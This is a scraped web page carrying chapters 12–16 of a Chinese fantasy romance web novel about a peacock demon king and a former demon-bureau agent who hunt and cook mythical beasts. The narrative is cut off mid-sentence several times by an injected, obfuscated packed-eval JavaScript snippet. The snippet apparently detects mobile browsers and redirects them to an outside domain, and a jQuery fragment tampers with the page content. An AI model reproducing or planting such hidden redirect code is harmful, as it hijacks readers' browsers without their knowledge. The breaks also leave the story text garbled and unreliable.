孔宣双眼圆睁,眼睛直勾勾地顺着陆压的领子钻到了衣服里面,漂亮的肌肉线条在眼前若隐若现,干净的洗衣液香味混杂着淡淡的热度扑面而来。 没见过这架势的孔雀大王咽了咽喉咙,正要说话时,陆压猝然抽身,从他身侧拉出一条带子。 陆压三两下把安全带扣好,简直心无旁骛,一抬头就对上孔雀大王谴责的眼神。 陆压:? 孔雀大王哼了一声,不肯承认自己刚刚被人类的肉/体迷花了眼。 这对于大王来说,只是花花世界的一点点小水花。 小水花掏了掏口袋,掏出一袋小饼干。 孔雀大王顿时眼睛一亮,急哄哄伸手理直气壮索要。 这次的小饼干加了蔓越莓,红色的小果子点缀在小鸟饼干上,孔宣含着小鸟脑袋,眼睛眯起幸福的弧度,面露幸福之色。 是酸甜口的蔓越莓饼干! 怎么会有这么好吃的小饼干!居然还是小鸟图案的! 孔雀大王决定,把陆压从小水花升级为会烤饼干的大水花。 不过。 “你什么时候烤的饼干?”孔宣目光探究,试图挖掘陆压的破绽。 “早上。” 陆压神色镇定,他慢条斯理地将纸巾叠了叠铺在孔宣的腿上防止饼干渣掉身上,一边从提前拎出来的袋子里掏出一瓶豆奶。 在递给孔宣的同时,他突然促狭补充:“你睡懒觉不肯起床的时候。” 孔宣:咳咳咳! 瞎说什么大实话! 孔宣只是心虚一瞬,很快又支棱起来,理不直气也壮地坦率点头,小声蛐蛐:“就睡就睡!” 他只是一只活了不知道多少多少年的年轻孔雀罢了~ 哼。 班车顺着国道,歪歪扭扭地辗转开往隔壁来西市,一过边界线,比来广更闷热的热度扑面而来。 车上的人禁不住热气把窗户关上,不断地调试头顶老旧的空调风口。 孔宣歪着脑袋,脑袋枕在陆压的肩膀,浓黑的发丝半遮着他的眉眼,影影绰绰中朦胧看见他双目紧闭,凌厉霸道的眼睛低垂着,只从呼吸中蒸腾出一点热气。 一人一妖离得太近,像是两个小火炉般,空调风口对着吹还觉得燥热。 陆压拿车上自带的广告扇扇风,不忘往孔宣那边多扇两下。 在一车议论声中,他不动声色,偏头与旁边的老大爷聊天:“今天温度好高,来西比来广热多了。” 老大爷声音洪亮,一边打着手里的广告扇一边说:“哪啊!明明是来广比来西热,来西山多,天气凉快,今天也不知道怎么了,热成这样。” 老大爷开口,车上的人纷纷附和。 “可不是嘛!今天温度太高了!前两天不还下雨来着。” “坏了,这个高温不会是要下雨吧?” “师傅,开个空调,这么热车里都要闷死了。” “开了开了,是不是空调口没开?自个看看。” …… “是有东西跑下山了。” 孔宣实在受不了了,睁开眼一把拿过扇子,自己热气腾腾地扇了两下,敷衍地给陆压扇扇。 他热得不行,感觉衣服里闷得全是汗,连忙抖了抖领子,低下头露出修长的后颈,靠近风口的位置对着吹。 凉风灌入,孔宣脱力般一把靠在陆压的肩上,腮肉鼓起一边,看起来气呼呼的。 天气热得人心烦意乱,特别是越往来西市的高速走,温度越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔雀大王猛猛啃饼干,咔嚓咔嚓,啃得很有节奏。 “咔嚓” “咔嚓” 饼干在牙齿中断裂,像是骨头被牙齿咬断,崩出极为刺耳牙酸的“嘎吱”声。 “嘎吱” “嘎吱” 无人的山路上,黄昏占据正片天空,昏暗厚重的云彩笼罩在头顶,几乎透不出丝毫光亮。 唯有细密的草丛里,一双猩红的眼睛无声睁开,它咀嚼着断裂的骨头,发出漫长刺耳的“嘎吱”声。 稀碎、惊悸,如跗骨之蛆,凌乱地穿越过漫漫树影,摔碎在空旷的泥里,无声凝视着山路上说说笑笑的两人。 视线在背着登山包的男人身上转了一圈,又在那个长头发的青年身上转了一圈,在那双猩红的眼中,两个人一个金色一个青色,漫漫灵气在鼻尖一嗅,比寡淡无味的人肉香多了。 怪物的牙齿依旧不停地咀嚼出声,贪婪的涎水顺着嘴角沾连滴落。 “嘎吱” “嘎吱” 13.第13章炭烤豪彘肉2 新出现的S1号神山底部呈现方形,上面是尖尖的尖角,像是一座由石头堆积而成的锥形高山。 它树林丰茂,从地底升起的同时,无数植被如一件绿衣披附在它的身上。 彼时天色暗淡,黄昏坠下枝头,只剩下地平线上一点昏黄的亮光久久没有落下,山间树枝繁茂昏暗,几乎透不见光影。 走过树枝交错搭起的“山门”,一条蜿蜒的小路在面前呈现,直直通向幽暗山林,扑簌簌的窸窣声传递着不详的风声。 孔宣眺望山头,只看见一座无物不有的高山紧紧树立在昏暗中,不知人造神砌,几乎顶天立地。 人看到它的第一眼,只会感受到深深的震撼与无言,悸乱的恐慌似乎刻在人类的基因里,这座神秘古怪的大山几乎就是恐慌本身。 唯独孔宣站在石头上,用手搭着额头眺望,踮着脚努力往上看,他站立不稳,摇摇晃晃地一把扑倒在陆压的背上。 “人,你敢进去吗?” 孔宣语气带笑,又似乎带着某种不加掩饰的恶意,直白又坦然地将危机破开摆在陆压面前。 “里面,可是有怪物哦~” 那些非人的怪物,可都是会吃人的。 “就像这样……” 孔宣从后摸索到陆压的腹腔,他比划了一个往外掏的姿势,模拟了血肉撕裂的声音。 陆压头也不抬,拿着笔在空白的本子上绘制简易的地图。 他画了一个山门,漫不经心地在孔宣手背上戳了两下。 “那你还吃吗?” “吃!” 一提起这个,孔宣立刻支棱起来,他分明半拖在陆压身上,脚还勾着石头,扑腾起来像是只飞不起来的小鸟,一边闹腾一边飞速回答。 “必须吃!谁怕了谁是小狗!” “不对,是小鸡!” 走地鸡! “那就走。” 陆压利索地把本子一收,潇洒地托着屁股把人往上一托,他背着半人高的登山包,再背一个人也跟没有重量似的,轻轻松松拐带就走。 孔宣翻了个身,跷着腿坐在登山包上,他撑着下巴,瓷白的腮帮子鼓起一边,他饶有兴趣,视线从旁边的小树丛中略过。 “啊哦,有东西跟着我们哦~” 手指在脸上点了点,张扬明媚的眉眼飞扬而起,任由树影的影子从眉眼略过。 他目光幽幽,湛湛如金芒闪烁,清晰直白地定在一处。 随着他们往林中深入,窸窸窣窣的声音越加明显,有什么东西踩着风声,一步一步地朝他们走来。 一步、两步…… 陆压头也没回,像是一个真正的地址勘探者,在纸上写写画画。 寥寥几笔,迅速勾勒出一个怪物的模样。 模样像猪,背部却布满尖锐的尖刺,尾巴如老鼠一般细长,走路会发出细微的沙沙声。 一只来自竹山的豪彘。 “沙沙” “沙沙” 细微的脚步声终于走近,孔宣的指尖夹住一片青色的飞羽,青色炫光从他眼底掠过,绽开层层妖异。 他面露笑意,脸上漫不经心的笑容冻出几分冷诮。 就在这么一瞬间,“咔嚓”的咀嚼声几乎落在他的肩膀侧方。 孔宣飞速闪躲翻走,一道黑影踩住他原先坐着的地方猛地起跳,迅速向他扑来。 这股巨力压得陆压脑袋一低,陆压就地一滚,灯光熄灭,黑色的衣服几乎与环境融为一体。 翻滚的一瞬间,陆压精准捕捉到了黑影的位置,他一把扣住手臂,一片金色鸦羽被他攥在手中,如有千钧力量,直直飞射出去。 青与金碰撞在一起,齐齐贯穿了那只豪彘的身躯。 满眼猩红的豪彘怒吼一声,尖锐的牙齿在空中猛地一咬,猝然失去力气直直摔进孔宣怀里。 孔宣一把接住,兴奋地抬手欢呼:“我捉到了!” 哦耶! 他兴奋地直跺脚,举着刺猬样的豪彘转了几圈,没听到附和声,连忙把豪彘一抛,慌慌张张地朝陆压扑过去。 “人,你不会被踩死了吧?” 陆压正起来呢,被他结结实实撞在地上,磕在登山包上,登山包都忍不住发出一声沉闷的碰撞声。 他忍不住想笑,还没出声,孔宣先一步把他薅了起来。 孔宣一把薅开人的头发,头抵着头认认真真地检查半天,确认人没事,顿时想起了那只豪彘。 “登登登——” 他炫耀般一把拽过刺猬猪,眉飞色舞地跟陆压展示,兴奋得快要跳起来了。 孔宣双眼晶亮,无法用语言形容自己的果断老辣,他手臂比划着,脸上满是得色。 展示完了,他扬起下巴,傲气地哼哼两声。 不用说,脸上已经写满了“快来夸我快来夸我”。 “这么大——一只猪!” 他眼睛亮晶晶的,在黑暗的林中仍然像是散发着光彩的宝石,眼底流漾着极为醉人的艳色,他眼尾弯起,笑意如星星点点的光芒,直白地展露在陆压面前。 陆压惯常随性冷淡,这会儿真是忍不住笑,有种被可爱到的感觉,很想说这只猪是他打的。 但是面对孔宣兴奋的表情,他从善如流点头,语气略微夸张:“大王真厉害,徒手打这么大一只猪啊。” “嗯嗯嗯!” “太厉害了,别人都没有你这么厉害。” “嗯嗯嗯!” “好想知道你是怎么做到的。” “嗯嗯……嗯?” 提到这个话题,兴奋的孔宣急忙刹车,他一脸高深莫测,神神秘秘地告诉陆压:“这是秘密,人,你不要多问,知道了对你没好处。” 孔宣一挥手,颇有种大佬训斥小弟的从容。 这就是老艺术家的从容吧。 陆压唇角微弯,冷峻眉眼此刻软和下来。 他很明智地假装被唬过去了,简单略过这个话题后,他一把背起背包,拉着兴奋的孔宣找水做饭。 时间来到晚上七点,天色彻底暗下,山林危机四伏。 他们两个却像是来旅游一样,随随便便找了条路,顺着从山中发出的河流找了个空旷的地方生活做饭。 陆压显然已经想到了要在山中过夜的可能,背包里有着各种野外生存物质。 他用工兵铲刨了刨地,挖走腐叶用石块搭起一个简易灶台,架上小锅煮汤喝。 那只被捕获的豪彘足有成人手臂长,被他拎着尾巴拎去了水边,就近剖开肚子,扯掉内脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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察觉到被人窥视,陆压切肉的动作一顿,敏锐地转过头,探寻间半块肉还挂在刀上,迟迟不送到一次性碗里。 这可把孔宣急坏了,急得探头就咬。 他飞速掠过,叼走就跑,急切地往嘴里送。 入口的一瞬间,他眼睛瞪得滚圆,脸上的表情从急切切换到震惊,被烫得合不拢嘴。 即便如此,他也舍不得吐出来,被香味惊圆了眼睛,不断含糊夸赞:“好香好香好香!” 要把孔雀大王香迷糊了! 烤熟的豪彘有着淡淡的木炭香气,嘴巴一嚼,嫩肉不失嚼劲,在牙齿间咀嚼成细密的肉糜,恰到好处的调料如点睛之笔,将豪彘本身的风味发挥得淋漓尽致,一口下去快把人香迷糊了。 孔宣面露幸福,腮帮子不住咀嚼着豪彘肉,唇上一片油光,火光斑驳在他的眉眼,映出凛凛光色。 他弯起眼睛,艳丽的唇形上挑出极为张扬的弧度,意犹未尽地舔舔嘴巴,湿红的舌尖在唇间一晃而过,像是一只勾人的妖精,黏黏糊糊地张开嘴巴,急声催促。 “我还要!” 人,快点投喂孔雀大王! 14.第14章炭烤豪彘肉3 豪彘满山跑,不比圈养的猪肉散。 豪彘肉质紧实细腻,滋滋的热油溢出表面,撒上调好的酱汁,没有丝毫油腻,血放干净后炙烤而出的烤肉更没有丝毫腥气。 片成肉片在唇齿间咀嚼,极佳的风味中裹着些许果木香气,令人吃了又吃,吃得满嘴留油。 再抿上一口滚熟的蘑菇汤,鲜美细腻的味道舒适地流过口腔,在咽下的那一刻,味觉简直被复苏到了极致,舌尖上的美味一瞬间炸开烟花,迷得人目眩神迷。 孔宣鼻尖耸动,被烤肉的香气迷得神魂颠倒。 他捧着碗,等着陆压把猪肉片进碗里,筷子飞速掠过,空空如也的碗连同期待的眼神一同递到陆压面前。 嚣张张扬的丹凤眼此刻目露期待,眸中一点烛火摇曳着兴奋情愫,像是有万般多情,妖精般期待地望着陆压……的手。 此刻这双眼睛看狗都深情,深情凝视着陆压的动作,仿佛凝视着自己的知己爱人。 陆压一边片肉,一边不忘给自己塞上两口。 被遮住的妖纹似乎也因此滚烫起来,烫得他皮肤刺痛,似乎有一根一根的东西从皮肤上滋生。 在陆压反应过来之前,孔宣突然靠近。 他唇上还沾着晶莹剔透的水色,一双漂亮的唇近在咫尺,陆压一低头就看见它距离自己越来越近,隐约间还能看到湿红的内里。 孔宣越靠越近,鼻尖轻轻蹭过他的领子,一只手剥开陆压的后颈,轻轻刮弄过新生的绒羽。 孔宣赫然笑出了声,逗弄般在陆压耳边轻呵:“老板,你要变成怪物了。” “嗯……因为吃了一只妖怪?” 他语调恶劣,意味深长的拖长语调,亲/昵地刮蹭过新生的绒羽,挨蹭着顺毛。 一下、两下…… 瘙痒的情绪无法抑制,陆压一把攥住孔宣的手腕,礼貌地按住他的肩膀往后推。 “你看错了。” 他依旧镇定,镇定得不成样子。 孔宣盯着他的脸看了几秒,陆压被盯得心悸,有一瞬间,火光温暖四周寂静,唯有安宁的“噼啪”声炸响。 孔宣意味深长:“哦~” 陆压喉头滚动,就见孔宣猝然抽身,像是撩了就跑的渣男,一脸幸福地端起碗,拿起自己的作案工具。 “好吃,爱吃,多吃!” 陆压:…… “吃吧吃吧多吃点。” 陆压一脸平静,仔细看眼神里似乎还透着某种看傻子的慈爱。 孔宣嬉笑出声,两人正要再打趣两句,猝然齐齐转过头,看向一个方向。 明亮的照射灯直直地穿透林子冲了过来,把他们俩的身影照得分明。 一片刺眼的灯光中,一个穿着素色中式长衫的年轻男人率先走了出来。 他容貌称得上慈眉善目,像是一尊从神台上走下的玉佛,眉眼悲悯莹润,身骨如玉石雕琢,唯独脖子被缠上了厚厚的白布,一开口嘶哑的声音像是有两个似男非女的声音交错发声。 玉先生的视线在两人身上转了一圈,深山、火堆、看不出是什么的兽肉。 他轻声开口:“盗猎珍惜动物,可是犯法的。” “不存在的神话生物也算是保护动物吗?”陆压挑眉,从背包里拿出一包一次性碗筷:“吃点吗?玉局。” 一听吃饭邀请,玉先生身后几个观测组员工瞬间骚动起来。 得了玉先生的首肯,欢呼一声立刻颠颠地拿了碗筷,眼巴巴地等着陆压分饭吃。 “陆组长最近在哪高就?等等,还有汤!” “……这个汤、这个蘑菇?是哪来的?” “哎呀,陆组长都吃了,肯定能吃……我这有自热米饭,陆组长要一盒吗?” …… 陆压跟孔宣介绍:“这是我前分公司领导,人称玉局。” “叫我玉先生就好。”玉先生学舌般吐出嘶哑刺耳的声音,他盯着孔宣,那眼神连陆压都忍不住警惕地往前倾了倾身,挡住了他的目光。 玉先生这次真的笑了出来。 “不知道这位先生怎么称呼?” 孔宣指指自己,冷冷地扯了扯嘴角,懒得搭理他。 陆压让孔宣去和几个观测组的去打水热自热米饭,小营地里没了人,玉先生脸上的笑容更加鲜明起来。 “你和他在一起,陆组长。” 这话说得阴阳怪气,陆压眉眼倦怠:“我还没有到见妖就杀的地步。” “玉局,开门见山吧。” 干柴在烈火中发出“噼啪”声响,玉先生面色沉静,在火光的照耀下依旧是一副悲天悯人的慈悲模样。 不男不女,似佛似妖。 玉先生本体是一尊唐代玉佛,他的本体在战争年代受到了极大的打击,身上到处都是粘合的痕迹,沾染了无数人的血,妖异的血印点缀在他的眉心。 他笑了起来:“我知道你是来干什么的,陆压。” “你已经被妖管局辞退了,何必再招惹这些烦心事?当个普通人不好吗?” S级1号神山远比其他三座山更加诡谲怪诞,也布满了机遇。 它的出现足够妖管局自身动荡争执一段时间,这段时间的空白里注定了会有更多的人试图染指它的存在。 毕竟现在灵气缺失,妖族依靠灵气而活,抢夺灵气就是抢夺寿命。 当然也包括玉先生。 玉先生是妖管局来西分局的局长,他曾长久地维护妖族与人族之间的平衡,但在自身利益面前,他又能公平多久呢? 陆压与他对视,冰冷的神情越发冷峻深沉:“玉局的意思是?” “那个小狐狸精……叫胡一良?把返聘的任务交给他,陆组长难道不明白吗?”玉先生笑。 他笑得人心里发毛,每一次的笑容弧度都一模一样,像是一尊早已被刻好的雕像,说话的声音也像是鹦鹉学舌般,总会呈现出虚假的怪异。 陆压明白他在说什么。 胡一良只是一只刚转正的小狐狸精,就是背锅的实习生弃子,陆压这个级别的辞退、返聘都需要更上级点头劝说。 让他负责陆压的返聘,说到底只是上级不上心而已。 ——妖管局有人不希望陆压回来。 陆压年少成名,他成年之前就能独自猎杀一只吃了十几个人的千年狐妖,正式加入了妖管局之后,更是以非常极速的速度坐上清扫组组长的位置,快速掌握权柄。 他如同一张王牌,只要有他在,没有斩不掉的妖魔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当年雕刻我的先生曾目睹明王风姿,您与金乌救世的英姿足以令天下人倾倒……只是不知道您现在现身,是想站哪一边呢?” 孔宣轻哼一声,不屑地哼出一声冷笑:“少来试探我。” 他极为厌恶这种试探,嚣张地发出几声冷笑,轻蔑至极地回怼:“你们那些把戏与我何干?什么救世,什么人妖先后,这世界是生是死,也不会牵扯到我身上。” 人是凡人,妖也不过是凡妖。 于早已不知活了多少年的孔雀明王来说,他们依旧命如蝼蚁。 孔宣神色轻蔑自若,高傲的目光不必把任何东西放入心中,他曾与天道争鸣,也曾意气风发,多少高高在上的人类妖族不过如过江之鲤,在他眼底掀不起丝毫风浪。 “闲得没事,给我家老板的餐厅多宣传宣传。” 他语带不悦,冷声警告:“别拿这种不赚钱的事烦我!” 人赚钱很难的! 又要还房贷又要经营餐厅,孔雀大王没工夫陪你们这些人玩过家家! 15.第15章菌菇煲虎蛟 “好吃!好吃!太好吃了陆组长!” “陆哥,超绝厨艺大师,我要为你打call!” “再多给一点吧!再给一点我什么都会干的!” …… 热热闹闹的欢呼声围绕着篝火兴奋叫喊,陆压被围在中间,依旧像是孤身一人,垂着眼睛不知道在想着什么。 直到鲜明的脚步声走近,欢快而直白地宣告着他的到来。 孔宣从黑山林中走出来,脚步轻快迅捷,扛着一连串的大鱼潇洒走来,语气像是发财般喜滋滋的。 人未到而声先至,欢呼雀跃地宣布:“我钓到好多鱼回来了!” 有那么那么——多呢! 孔宣扛着一根木棍,木棍上吊着一连串的大鱼,在众人瞻仰的目光中,陆压豁然起身。 他快步走过孔宣面前,拉着他转了几圈。 孔宣面露困惑,乖乖地原地打转,茫然地歪了下头:“人,你很奇怪?” 玉先生姗姗来迟,意味深长地轻笑:“有我在,陆先生难道还怕他出事吗?” 孔宣挑眉,轻蔑地哼笑一声:“他?人,你好胆小哦,我才不会被他欺负,他还跟我承诺会帮我们的餐厅好好宣传呢~” 人,你就等着被孔雀大王带飞吧! “是吗?”陆压目光冷凝,他冷冷地与玉先生对视一眼,才有功夫去看孔宣带回来的几条鱼。 这一看,陆压顿时:。 只见这一连串吊着的“鱼”长着鸳鸯脑袋,鱼的身子,蛇的尾巴,像是一条臃肿过头的长蛇,扎成一团吊着。 “鱼?”他愕然挑眉。 孔宣得意“哼哼”,手指勾起一条在陆压面前晃了一圈,神色张扬极了:“虎蛟鱼,怎么样?听说人吃了可以不生病,是好东西。” “我一下子就捉上来了——” 他手臂比划着,俨然恨不得情景再现,让陆压看到自己的英姿,美滋滋的十分嘚瑟。 孔宣拎着鱼嘚瑟一圈,满目神飞绚烂,在昏暗的月光下依旧张扬明媚,像是有万千星光笼罩在他身上。 他得意又张扬,脸上没有丝毫阴霾,漂亮的唇角一弯,快乐得十分鲜明。 看得人压抑的情绪都一把扫空,陆压停顿很久,才慢慢说:“……大晚上不要捉鱼,会被水冲走的。” 孔宣:??? “我还是小孩子吗?” 什么叫小心被水冲走? 陆压弯唇笑了,面上的冷峻散去,隽秀漂亮的眉眼柔和弯起。 他没说话,但又像什么都说了。 这可把孔雀大王气得够呛,把手一插就要跟陆压掰扯掰扯。 孔雀大王怎么能被区区小河打败! 孔宣吵吵闹闹地要跟陆压掰扯,陆压把碗往他手里一放,立刻就像是按下了停止键。 陆压漫不经心地搭上一句:“再不吃就被人抢完了。” 狠狠拿捏住了孔雀大王。 孔雀大王绝对不允许! 孔宣拿起筷子,猛猛加入了干饭行列。 一只手臂长的豪彘被一群人三两下瓜分了干净,吃完了都还在回味那美妙的味道,咂咂嘴仿佛就是一场梦,梦醒还是很美味。 “陆组长,走吧,我们把你们捎回市区,顺便去招待所开间房休息。” 观测组上来一天准备下山了,原地借火修整后,顺便把陆压他们捎下了山。 陆压和孔宣坐了四小时车,一路长途跋涉就为了吃这一顿,扛着锅提着鱼,就这么顺顺利利地被人捎回了市区。 车子在招待所门口停下,玉先生从车窗探出头,温声表示:“招待所我打了招呼,两位今天就在招待所休息一晚吧。记得回去的班车在明天早上八点,坐15路公交车半个小时到车站。” 叮嘱一通,小面包车迅速离去,只剩下孔宣和陆压站在招待所门口。 孔宣盯着这种老旧到掉墙皮的建筑,缓缓冒出一个问号:“就这?” “就这,去哪出差都是住这。”陆压习以为常,带着孔宣进去开房。 果不其然,预算有限的玉先生只给他们安排了一间房间。 这些招待所都是几十年前建立的,半公半私地运营着,妖管局也算是编制公职,去哪出差都是住招待所,省钱、方便报销。 运气好去有钱的地方,招待所还能翻修翻修,运气不好,跟几十年的老宾馆没区别。 好在玉先生还不至于扣到这个地步,给他们开了一间空间很大的双人间,里面还有老式的浴缸。 陆压把鱼放进浴缸里养,他坐在浴缸边上放水,孔宣在外面转了一圈也走了进来。 他面色严肃,一本正经地跟陆压说:“人,他们很大方。” 孔宣在口袋里掏了掏,掏出两张明天的车票,是玉先生安排给他们的。 陆压一看就明白:“……这是明着赶我们走。” “为什么?” “因为我们上山捉偷猎,动了别人的小蛋糕。” 孔宣:? 人类社会规则太多,孔雀大王面露疑惑:“偷猎?什么算偷猎?” “小蛋糕又是什么?好吃吗?” 这很馋嘴了。 陆压将一条游到手边的虎鲛拎起:“哝,等人把这些列为保护动物,我们的行为就算偷猎了。” 陆压这次过来,也是想看看到底有谁按捺不住,是敌是友总要拉出来看看。 不过真算起来,陆压似乎也没资格管别人。 他自己也吃,和那些需要妖物灵宝续命的老妖怪也没什么区别。 陆压眉头压低,那一瞬间他的眉眼好似融入了浓重的阴影,似嘲讽似讥笑。 他五官冷淡愁绪,隽秀的眉眼惯常冷凝一片,眉心无意识蹙起,显露出难以消减的凉薄冷峻。 别人看到他,只会被他身上的冷意所蛰,看不清他柔和清俊的好皮相。 唯独孔宣。 孔宣一把捧起陆压的脸,陆压坐在池边,孔宣就俯下身,光落在他的头顶将他的边缘模糊得漆黑泛光,唯有那双张扬狭长的眼睛直直地与陆压对视。 陆压愣了一下,就听孔宣指责他:“陆雀雀,你很奇怪。” 陆压:? “陆雀雀是什么?” “陆鸦鸦。”孔宣从善如流改口。 陆压:? 他眉宇间的不赞同与不理解几乎化为实质性的疑惑,狐疑地向后仰头,一脸莫名。 孔宣咳嗽一声,摆摆手示意不要在乎这点小事:“重点不是这个!陆小鸟你知道的吧。” 他双手交叠,一脸神秘地低下头,深沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672807|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地将手放在鼻子底下,低沉地说:“我不是人。” 陆压有一瞬间失语。 在“孔宣自己骂自己”和“这么快就自曝了不抢救一下吗”之中徘徊不定。 孔宣完全不抢救,他非常自豪地宣布:“是的,我是孔雀大王!” 是超级漂亮,世界上第一只绿孔雀! 如果现在是原型,他现在的尾羽一定是高高翘起,甚至恨不得开个屏向陆压展示嘚瑟一下。 世界上怎么会有这么漂亮的小鸟? 漂亮的孔雀大王理直气壮地说:“你也是小鸟。” “小鸟的事,怎么能叫是偷?” 他们是光明正大,是理所应当,是大自然的馈赠! “……” 这么理直气壮的吗? 陆压有一瞬间被孔宣唬住了,但很快,他冷静反驳:“不对,从我的体检报告以及各项数据来说,我是人,不是鸟。” “哦~”孔宣眨巴眼睛,意味不明地拉长语调:“真的吗?” “陆雀雀,那你身上的绒毛是怎么回事?” 陆压面不改色:“吃妖怪长出来的,就像是长出三条胳膊四条腿一样。” “陆鸦鸦,那你身上的妖纹呢?” 陆压睁眼说瞎话:“纹的,年轻时不懂事,影响考公务员。” “……陆小鸟,你很不诚实。” 陆压虚心谦让:“没有没有,不及大王。” …… 无论孔宣怎么指出,陆压都能搪塞反驳。 直到孔宣一把按住他的侧脸,他低下头,两个人的距离逐渐消减,孔宣面色正经,不再露出一脸戏谑。 他说:“你好像从来不肯承认。” 虎鲛在水中游动的声音哗哗作响,明亮的浴室内,只有两个人的呼吸交错在一起,恍惚只剩无言的寂静。 这个问题连陆压都有点无言以对,他陷入沉思,思考中,他想到七岁那年。 陆压是被人遗弃在孤儿院门口,被捡到时,有一条明显的刺青横穿他的背脊,狰狞地覆满他整片后背。 孤儿院的院长提到这件事,总愤慨到底是谁会在这么小的孩子背后刺青,总是很怜悯地望着他。 除此之外,这对陆压的人生并没有什么影响。 直到。 一只吃了十几个人的狐妖被妖管局追杀,逃到了孤儿院。 孤儿院位置偏僻、安静,除了瘦弱的护工和院长以外,里面只剩下一些小孩。 狐妖一口咬碎了院长的脖子,猩红的目光扫过众人,最大的不过十二岁,最小的只有三岁。 简直就像是狼入羊圈。 等妖管局的人赶过来时,周围到处都是血,是那只狐妖的。 他被无数支黑羽贯穿,万箭穿心而死。 那是陆压第一次展露出非人的特质。 一根一根的羽毛顺着皮肤滋生,黑鸦鸦的羽毛覆盖了他的手臂、腹腔,遮住他的眼睛耳朵,他几乎被难以消减的妖异吞没。 他杀死了一只千年狐妖,却也差点就被清扫组的人斩首。 一只无人压制、濒临失控的妖怪,只剩下死这一条路。 要么,伪装成人成为一把刀活下来。 孔宣问他:“陆雀雀,你很怕自己是一只鸟吗?” 16.第16章菌菇煲虎蛟2 “!” 猛地被撞了一下,陆压吃痛,下意识往后一仰,被彻底向后撞进了浴缸里。 孔宣显然没有收敛力气,和他一头栽进里面,水无法控制地从边缘溢出,水龙头不断溢出水流浇在两人身上。 他们两个人都被浇透了,泡在水中,陆压几次尝试都没能爬起,只能被孔宣压在身下,任由滑腻腻的虎蛟从旁边游过。 滑腻腻的触感顺着手背爬行,陆压顾不上这些,他浑身濡湿地抬眼,被孔宣一把薅起脑袋,头抵着头被迫探出水面。 孔宣长发濡湿披散在背后,只有零星几根凌乱地粘在脸上,单薄的衣服薄薄地贴在身上,隐约透出他身躯的线条,却也将他的神情冻得冰冷专注。 那双漂亮的丹凤眼就是在这样近的距离与他对视,孔宣的眼神直白又明亮,眸光清明缠绵,缠绕着锁在陆压身上。 他像是宣告,又像是陈述事实,直白又响亮地反驳:“陆鸦鸦,你是个笨蛋!” 笨蛋鸦。 “你这是被KFC了!” 天杀的,孔雀大王一听就知道! 孔宣双手交叉,眼睛里闪烁着智慧严肃的光芒,他俨然担当成了陆压的人生导师,挥舞着判决锤大声宣布:“小鸟一点错都没有!” “小鸟是天下最好最好的事物!” 明明是陆压救了人,凭什么他要被PPT,就要被CPDD,他凭什么低头认命? “你没有救人吗?你杀了无辜的人吗?就算有,你救了多少人?一命抵一命,你救了那么多人,现在还想着救人,难道还不够吗?” 陆压被这种理直气壮的态度噎了一下,他试图反驳,然而脑子里只有孔宣此刻闪闪发亮的模样。 飞扬的神采像是天下就没有他紧张担忧的事情,自信又张扬。 陆压不答,孔宣问出一个问题:“你现在多少岁?” 陆压不明所以:“23?” “人类那个什么学、学……” 陆压提示:“大学?” 听到这个词,孔宣眼睛一亮,“嗯嗯”点头,嗔怪地看了陆压一眼,仿佛在说“人,你啰嗦了”。 孔宣咳咳两声,连忙支棱起来,做出一副高深莫测的模样,把手往下巴一垫,深沉地说:“我知道,你们人都是不读书毕业了才算成年……一般大学什么时候毕业?” 陆压猜测:“22?23?” 他成年后按照妖管局的安排直接报名参军,很快就被转岗入职,相当于没有上大学,他只能猜测。 “所以,鸦,你很厉害了,懂吗?”孔宣的目光深沉又严肃,仔细看,似乎能看透底下的狡黠。 他朝陆压眨眨眼,飞速举例:“别的大学生才刚毕业,你就已经救了很多人了,很多很多,至少有一个孤儿院的人。这期间,你有失控伤害无辜的人吗?他们凭什么杀你?凭什么要求你当工具?” “他们是忌惮你,嫉妒你,故意欺负你,嫉妒你长得好看做饭好吃……” 孔宣在陆压耳边蛐蛐儿:“他们嫉妒你是只小鸟。” 陆压诚恳提醒:“后面这个不太可能。” “怎么不可能?”孔宣眼睛一瞪,脸上写着“小鸟才是最棒的”。 孔雀大王亲口盖章,绝对没错! “人会因为他们是人而害怕吗?不会!” 所以陆压不许不承认是小鸟,没有小鸟要因为自己是只鸟害怕。 陆压一脸老实巴交,半靠在墙上,浑身湿漉漉的,头发东一缕西一缕地粘在脸上,隽秀的眉眼被淋湿后看起来很容易被欺负。 他实在没忍住弯了弯唇角,像是被逗笑了,又像是被孔宣一本正经的叮嘱打动了。 陆压没有说,在现在的社会是妖就是有罪的,也没有说人就是傲慢地认为自己才是万物之长。 他只是在孔宣的要求下,从善如流地复述:“对,我是小鸟。” 孔宣薅起他的下巴,一脸霸道:“说大声一点。” 陆压忍不住捂脸:“我是小鸟。” “再大声一点!” 